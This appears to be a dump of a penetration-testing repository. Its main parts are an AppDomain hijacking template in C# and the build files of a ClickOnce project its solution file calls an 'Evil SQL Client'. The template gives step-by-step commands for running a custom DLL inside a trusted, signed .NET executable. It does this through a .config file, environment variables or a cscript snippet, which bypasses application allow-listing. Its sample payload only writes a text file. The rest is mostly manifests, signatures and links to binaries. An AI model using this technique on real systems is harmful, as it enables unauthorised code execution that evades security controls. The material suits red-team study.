output = ps.Invoke();
96 | if (output != null)
97 | {
98 | foreach (PSObject rtnItem in output)
99 | {
100 | Console.WriteLine(rtnItem.ToString());
101 | }
102 | }
103 | rs.Close();
104 |
105 | Console.ReadLine();
106 | RunPSCommand();
107 | return "nothing";
108 | }
109 | }
110 | }
111 |
--------------------------------------------------------------------------------
/AppDomain-Hijack-Templates/AppDomain-Hijack-WriteFile.cs:
--------------------------------------------------------------------------------
1 | /*
2 |
3 | AppDomain Hijacking Execution Method
4 | Payload: File write
5 | Description: This will write the file C:\Windows\Temp\AppDomainHijacked.txt.
6 | Mitre ATT&CK ID: T1038
7 | Author: Scott Sutherland, NetSPI
8 | Credits: Based on techniques by Casey Smith.
9 |
10 | Execution Option: Config File
11 | 1. Update code as need and compile this DLL.
12 |
13 | C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /target:library /out:AppDomain-Hijack-WriteFile.dll AppDomain-Hijack-WriteFile.cs
14 |
15 | 2. Locate .net executable that is white listed or signed by a trusted publisher using Get-PE function from Matt Graeber's PowerShell Arsenal Project.
16 | Example: c:\windows\system32\scriptrunner.exe.
17 |
18 | gci c:\windows\system32\*.exe | get-pe | where-object {$_.Imports.ModuleName -Contains "mscoree.dll"} | Select ModuleName -ExpandProperty modulename
19 |
20 | 3. Copy the .net executable to a writable directory.
21 | Example: C:\Windows\Temp
22 |
23 | Copy c:\windows\system32\scriptrunner.exe C:\Windows\Temp\scriptrunner.exe
24 |
25 | 4. Create a configuration file in the same folder with the content below. Name it after the target assembly, but append .config to the file name.
26 | Example: scriptrunner.exe.config
27 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 | 5. Run .net executable. Example: scriptrunner.exe
38 |
39 | scriptrunner.exe
40 |
41 | Execution Option: Environmental Variables
42 | Alternatively, set the following environmental variable and run the .net executable.
43 | Note: The configuration file will take president over the environmental variables, and setting environmental variables in the code will take president over config files.
44 |
45 | set APPDOMAIN_MANAGER_ASM=AppDomain-Hijack-WriteFile, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
46 | set APPDOMAIN_MANAGER_TYPE=Hijack
47 | set COMPLUS_Version=v4.0.30319
48 |
49 | scriptrunner.exe
50 |
51 | Execution Option: cscript
52 | Alternatively, create a JS file with the following content and execute with cscript.
53 |
54 | new ActiveXObject('WScript.Shell').Environment('Process')('COMPLUS_Version') = 'v4.0.30319';new ActiveXObject('WScript.Shell').Environment('Process')('TMP') = 'C:\Windows\Temp';
55 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_ASM') = 'Hijack-WriteFile, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null';
56 | new ActiveXObject('WScript.Shell').Environment('Process')('APPDOMAIN_MANAGER_TYPE') = 'Hijack';
57 | var o = new ActiveXObject("System.Object");
58 |
59 | cscript AppDomain-Hijack-WriteFile.js
60 |
61 | */
62 | using System;
63 | using System.IO;
64 |
65 | public sealed class Hijack : AppDomainManager
66 | {
67 | public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
68 | {
69 | BreakOut.RunWriteCommand();
70 | return;
71 | }
72 |
73 | public class BreakOut
74 | {
75 | public static string RunWriteCommand()
76 | {
77 | string[] lines = { "This", "was", "fun." };
78 | System.IO.File.WriteAllLines(@"C:\Windows\Temp\AppDomainHijacked.txt", lines);
79 | return "nothing";
80 | }
81 | }
82 | }
83 |
--------------------------------------------------------------------------------
/AppDomain-Hijack-Templates/AppDomainHijack.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
--------------------------------------------------------------------------------
/ClickOnceSQL/.vs/ClickOnceSQL/DesignTimeBuild/.dtbcache:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/DesignTimeBuild/.dtbcache
--------------------------------------------------------------------------------
/ClickOnceSQL/.vs/ClickOnceSQL/v15/.suo:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/.suo
--------------------------------------------------------------------------------
/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/db.lock:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/db.lock
--------------------------------------------------------------------------------
/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide:
--------------------------------------------------------------------------------
1 | SQLite format 3 @ .A
--------------------------------------------------------------------------------
/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-shm:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-shm
--------------------------------------------------------------------------------
/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-wal:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/.vs/ClickOnceSQL/v15/Server/sqlite3/storage.ide-wal
--------------------------------------------------------------------------------
/ClickOnceSQL/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | vFZyxcC2V4FtJ94Q8dLBCEiXCbkjSS2qxHi+P8aeYoU=
25 |
26 |
27 |
28 | 2/M5Gy8+J1k2+7CeMN2x7P5rZcy1qHR4Rv8n34FQgl0=jbDh9Fkaw1u/vUtyzeV8+2sA3diEJOB0DK13JLYdK2MIyxdPnW8L1NEH7QdCh5gnie/zDeSbV+zBn2f4ZnqSxaK5ucrsjqAyCw+3T0osN3IBrHJ0Z52V1TqJlchy65f6jMKKaQU2VOteVIageWbb0NGklJ0apwqHN6y6iag8i1g=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherland6HYO1P8SpDlpMCndfQzjFcr9Rt/ZAeMKnBXPEa8MFiI=hrScXkO9xYlc6YI7BLwmMvGgjl2Jbsjmz9UPPjR7GawOoRsG/BdUANFhsI8UvVI7RB/2X3U6SxYBKKIIK+BlLvsq2atRRqCSxTpePgGaxZA1T/ZYJvRrwsgPGx1dtfFtyO7iMQ7qlEvKb0SFpSa2Z2Aapo4v4ia7lZbOwzTufy8=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34=
--------------------------------------------------------------------------------
/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.config.deploy:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy
--------------------------------------------------------------------------------
/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4=
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ=
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw=
85 |
86 |
87 | HW3xcBc97JHtRzr6FnnTbq755VGCuRKO37SdGYTZIBw=VazDOatWn7hzQwcaoS+vNDWfk51IDqOnmOmYTP6HJFQrGWSnkzNBi0lTuPlvt86v6O6SUk8OWwJuwxuiRGrgbV5WDXe9+PRGZ1uKwk1Y/2oiUgmQF4N1zltg8EAeC9wSuHCsY1C0hMXrMRARrLVWkax0aLL9EW7PkM8XF3t9BkA=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherlandSuRjfKtatyUy6Bc5+6iSmziXuEV5BVIj/YrOUGe0CNM=VVV3TNOn4QsoBSxZ4haaVtGUNUkXKADn/bOYP7IYE0kuPY2d5YSpRQt1FAdCIGyY3Hebzxtt4VVmD2zWrPWE7gCXcYc3vUktS45/wOMMdLMJxIPTd0O55uBCxgBrsA86FnvMMwjzfmH7yJZyI9uh70rA3yo3FKzAzXF1093zm6Q=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34=
--------------------------------------------------------------------------------
/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/Application Files/ClickOnceSQL_1_0_0_5/System.Management.Automation.dll.deploy
--------------------------------------------------------------------------------
/ClickOnceSQL/ClickOnceSQL.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | vFZyxcC2V4FtJ94Q8dLBCEiXCbkjSS2qxHi+P8aeYoU=
25 |
26 |
27 |
28 | 2/M5Gy8+J1k2+7CeMN2x7P5rZcy1qHR4Rv8n34FQgl0=jbDh9Fkaw1u/vUtyzeV8+2sA3diEJOB0DK13JLYdK2MIyxdPnW8L1NEH7QdCh5gnie/zDeSbV+zBn2f4ZnqSxaK5ucrsjqAyCw+3T0osN3IBrHJ0Z52V1TqJlchy65f6jMKKaQU2VOteVIageWbb0NGklJ0apwqHN6y6iag8i1g=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\sClickOnceSQL6HYO1P8SpDlpMCndfQzjFcr9Rt/ZAeMKnBXPEa8MFiI=hrScXkO9xYlc6YI7BLwmMvGgjl2Jbsjmz9UPPjR7GawOoRsG/BdUANFhsI8UvVI7RB/2X3U6SxYBKKIIK+BlLvsq2atRRqCSxTpePgGaxZA1T/ZYJvRrwsgPGx1dtfFtyO7iMQ7qlEvKb0SFpSa2Z2Aapo4v4ia7lZbOwzTufy8=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF9LGAJCRkb8QgIT2zPe5GOxt5D34=
--------------------------------------------------------------------------------
/ClickOnceSQL/ClickOnceSQL.csproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Debug
6 | AnyCPU
7 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}
8 | Exe
9 | Properties
10 | ClickOnceSQL
11 | ClickOnceSQL
12 | v4.5.2
13 | 512
14 | true
15 | false
16 | \\127.0.0.1\c%24\temp\ClickOnceSQL\
17 | true
18 | Unc
19 | true
20 | Foreground
21 | 7
22 | Days
23 | false
24 | false
25 | true
26 | \\127.0.0.1\c%24\temp\ClickOnceSQL\
27 | true
28 | publish.htm
29 | 6
30 | 1.0.0.%2a
31 | false
32 | true
33 | true
34 |
35 |
36 | AnyCPU
37 | true
38 | full
39 | false
40 | bin\Debug\
41 | DEBUG;TRACE
42 | prompt
43 | 4
44 |
45 |
46 | AnyCPU
47 | pdbonly
48 | true
49 | bin\Release\
50 | DEBUG;TRACE
51 | prompt
52 | 4
53 | true
54 |
55 |
56 | 41283D758F4442A95E805E1C6E4456BD93FCE244
57 |
58 |
59 | ClickOnceSQL_TemporaryKey.pfx
60 |
61 |
62 | true
63 |
64 |
65 | true
66 |
67 |
68 | true
69 |
70 |
71 | ClickOnceSQL_TemporaryKey.pfx
72 |
73 |
74 |
75 |
76 |
77 |
78 |
79 | False
80 | ..\..\..\..\..\..\..\Program Files (x86)\Reference Assemblies\Microsoft\WindowsPowerShell\3.0\System.Management.Automation.dll
81 |
82 |
83 |
84 |
85 |
86 |
87 |
88 |
89 |
90 |
91 |
92 |
93 |
94 |
95 |
96 | Always
97 |
98 |
99 |
100 |
101 |
102 | False
103 | Microsoft .NET Framework 4.5.2 %28x86 and x64%29
104 | true
105 |
106 |
107 | False
108 | .NET Framework 3.5 SP1
109 | false
110 |
111 |
112 |
113 |
120 |
--------------------------------------------------------------------------------
/ClickOnceSQL/ClickOnceSQL.csproj.user:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 | \\127.0.0.1\c%24\temp\ClickOnceSQL\|\\127.0.0.1\c%24\users\Public\|\\127.0.0.1\c%24\temp\|C:\temp\|C:\Pentest\detective\
5 | \\127.0.0.1\c%24\temp\ClickOnceSQL\|\\127.0.0.1\c%24\users\Public\|\\127.0.0.1\c%24\temp\|http://127.0.0.1/|http://wite.com/
6 |
7 |
8 |
9 |
10 | en-US
11 | false
12 |
13 |
14 | false
15 |
16 |
--------------------------------------------------------------------------------
/ClickOnceSQL/ClickOnceSQL.sln:
--------------------------------------------------------------------------------
1 |
2 | Microsoft Visual Studio Solution File, Format Version 12.00
3 | # Visual Studio 15
4 | VisualStudioVersion = 15.0.27703.2047
5 | MinimumVisualStudioVersion = 10.0.40219.1
6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "ClickOnceSQL", "ClickOnceSQL.csproj", "{06260CE5-61F4-4B81-AD83-7D01C3B37921}"
7 | EndProject
8 | Global
9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution
10 | Debug|Any CPU = Debug|Any CPU
11 | Release|Any CPU = Release|Any CPU
12 | Description = ClickOnce Evil SQL Client
13 | EndGlobalSection
14 | GlobalSection(ProjectConfigurationPlatforms) = postSolution
15 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Debug|Any CPU.ActiveCfg = Debug|Any CPU
16 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Debug|Any CPU.Build.0 = Debug|Any CPU
17 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Release|Any CPU.ActiveCfg = Release|Any CPU
18 | {06260CE5-61F4-4B81-AD83-7D01C3B37921}.Release|Any CPU.Build.0 = Release|Any CPU
19 | EndGlobalSection
20 | GlobalSection(SolutionProperties) = preSolution
21 | HideSolutionNode = FALSE
22 | EndGlobalSection
23 | GlobalSection(ExtensibilityGlobals) = postSolution
24 | SolutionGuid = {1C5B9345-ACD4-443D-A2EA-3096596AE629}
25 | EndGlobalSection
26 | EndGlobal
27 |
--------------------------------------------------------------------------------
/ClickOnceSQL/ClickOnceSQL_TemporaryKey.pfx:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/ClickOnceSQL_TemporaryKey.pfx
--------------------------------------------------------------------------------
/ClickOnceSQL/Properties/AssemblyInfo.cs:
--------------------------------------------------------------------------------
1 | using System.Reflection;
2 | using System.Runtime.CompilerServices;
3 | using System.Runtime.InteropServices;
4 |
5 | // General Information about an assembly is controlled through the following
6 | // set of attributes. Change these attribute values to modify the information
7 | // associated with an assembly.
8 | [assembly: AssemblyTitle("ClickOnceSQL")]
9 | [assembly: AssemblyDescription("")]
10 | [assembly: AssemblyConfiguration("")]
11 | [assembly: AssemblyCompany("")]
12 | [assembly: AssemblyProduct("ClickOnceSQL")]
13 | [assembly: AssemblyCopyright("Copyright © 2020")]
14 | [assembly: AssemblyTrademark("")]
15 | [assembly: AssemblyCulture("")]
16 |
17 | // Setting ComVisible to false makes the types in this assembly not visible
18 | // to COM components. If you need to access a type in this assembly from
19 | // COM, set the ComVisible attribute to true on that type.
20 | [assembly: ComVisible(false)]
21 |
22 | // The following GUID is for the ID of the typelib if this project is exposed to COM
23 | [assembly: Guid("06260ce5-61f4-4b81-ad83-7d01c3b37921")]
24 |
25 | // Version information for an assembly consists of the following four values:
26 | //
27 | // Major Version
28 | // Minor Version
29 | // Build Number
30 | // Revision
31 | //
32 | // You can specify all the values or you can default the Build and Revision Numbers
33 | // by using the '*' as shown below:
34 | // [assembly: AssemblyVersion("1.0.*")]
35 | [assembly: AssemblyVersion("1.0.0.0")]
36 | [assembly: AssemblyFileVersion("1.0.0.0")]
37 |
--------------------------------------------------------------------------------
/ClickOnceSQL/README.txt:
--------------------------------------------------------------------------------
1 | Basic instructions.
2 |
3 | 1. Open solution.
4 | 2. Publish to desire location.
5 | 3. Launch from publish.htm.
6 |
7 | Alternative, copy to c:\temp\ClickOnceSQL and run publish.htm.
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/App.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/ClickOnceSQL.application:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
17 |
18 |
19 |
20 |
21 |
22 |
23 |
24 | LCe/5H8TUz23V0mGjZdhkvxZRt5BTcJpgv/O3NlOkMc=
25 |
26 |
27 |
28 |
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/ClickOnceSQL.exe:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/ClickOnceSQL.exe
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/ClickOnceSQL.exe.config:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/ClickOnceSQL.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4=
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ=
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw=
85 |
86 |
87 |
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/ClickOnceSQL.html:
--------------------------------------------------------------------------------
1 |
2 | ClickOnceSQL
3 |
4 |
5 |
6 | ClickOnceSQL
7 |
8 |
9 |
10 |
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/ClickOnceSQL.pdb:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/ClickOnceSQL.pdb
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/System.Management.Automation.dll:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/System.Management.Automation.dll
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.config.deploy:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/NetSPI/ESC/bc61282f2a36a9d300256b38c2e6c6e09b179579/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.deploy
--------------------------------------------------------------------------------
/ClickOnceSQL/bin/Release/app.publish/Application Files/ClickOnceSQL_1_0_0_5/ClickOnceSQL.exe.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
6 |
7 |
8 |
9 |
10 |
11 |
12 |
13 |
14 |
15 |
16 |
28 |
29 |
30 |
31 |
32 |
33 |
34 |
35 |
36 |
37 |
38 |
39 |
40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 |
50 |
51 |
52 |
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
62 | en7cSzFpXDxuQQpEss6wMV8mhFtfz/v2XAS3BDRmne4=
63 |
64 |
65 |
66 |
67 |
68 |
69 |
70 |
71 |
72 |
73 |
74 | lkhv2UhjSeLBPorr/OgzCviQcmv6IIaZUQLkNI+1HZQ=
75 |
76 |
77 |
78 |
79 |
80 |
81 |
82 |
83 |
84 | 6N7MliNbVJSIAIPrecIshMbZ7zEoKLr5SQvud4LDUOw=
85 |
86 |
87 | HW3xcBc97JHtRzr6FnnTbq755VGCuRKO37SdGYTZIBw=VazDOatWn7hzQwcaoS+vNDWfk51IDqOnmOmYTP6HJFQrGWSnkzNBi0lTuPlvt86v6O6SUk8OWwJuwxuiRGrgbV5WDXe9+PRGZ1uKwk1Y/2oiUgmQF4N1zltg8EAeC9wSuHCsY1C0hMXrMRARrLVWkax0aLL9EW7PkM8XF3t9BkA=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABCN=NETSPI\ssutherlandSuRjfKtatyUy6Bc5+6iSmziXuEV5BVIj/YrOUGe0CNM=VVV3TNOn4QsoBSxZ4haaVtGUNUkXKADn/bOYP7IYE0kuPY2d5YSpRQt1FAdCIGyY3Hebzxtt4VVmD2zWrPWE7gCXcYc3vUktS45/wOMMdLMJxIPTd0O55uBCxgBrsA86FnvMMwjzfmH7yJZyI9uh70rA3yo3FKzAzXF1093zm6Q=qDZ57Ls2xf43LmS5y4KM70qAG0CK7168Kw/asbQhSd6AIw/2lEQyLPqiNrpUqkId7phxF6LH/MNjHXFvDmkqoVDo35agIvb2S72t2FNGFhiir6IP+Wn8EoOTfWApWILJBKaXQtzcvS2pHJ5tCeS0Mrx937zhwFSfr2YwjYLOlwU=AQABMIIB4TCCAUqgAwIBAgIQfSK0I32WW55AktO/EQE2nDANBgkqhkiG9w0BAQsFADAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwHhcNMjAwNjE3MDAwMjUzWhcNMjEwNjE3MDYwMjUzWjAvMS0wKwYDVQQDHiQATgBFAFQAUwBQAEkAXABzAHMAdQB0AGgAZQByAGwAYQBuAGQwgZ8wDQYJKoZIhvcNAQEBBQADgY0AMIGJAoGBAKg2eey7NsX+Ny5kucuCjO9KgBtAiu9evCsP2rG0IUnegCMP9pREMiz6oja6VKpCHe6YcReix/zDYx1xbw5pKqFQ6N+WoCL29ku9rdhTRhYYoq+iD/lp/BKDk31gKViCyQSml0Lc3L0tqRyebQnktDK8fd+84cBUn69mMI2CzpcFAgMBAAEwDQYJKoZIhvcNAQELBQADgYEAExdMdX6WXpUaTzDNg/9fLGDDtCVJ+uVhBxlvJfq284leJVHlZ10Y40NfNGIG6Xo74k+BiHotaJDkcRL0BDaqGSm+kYfCUoO/EwiI7KARShUVVlav+74ttQnZ8FJEam5FNvS/d11ttjvQbnVF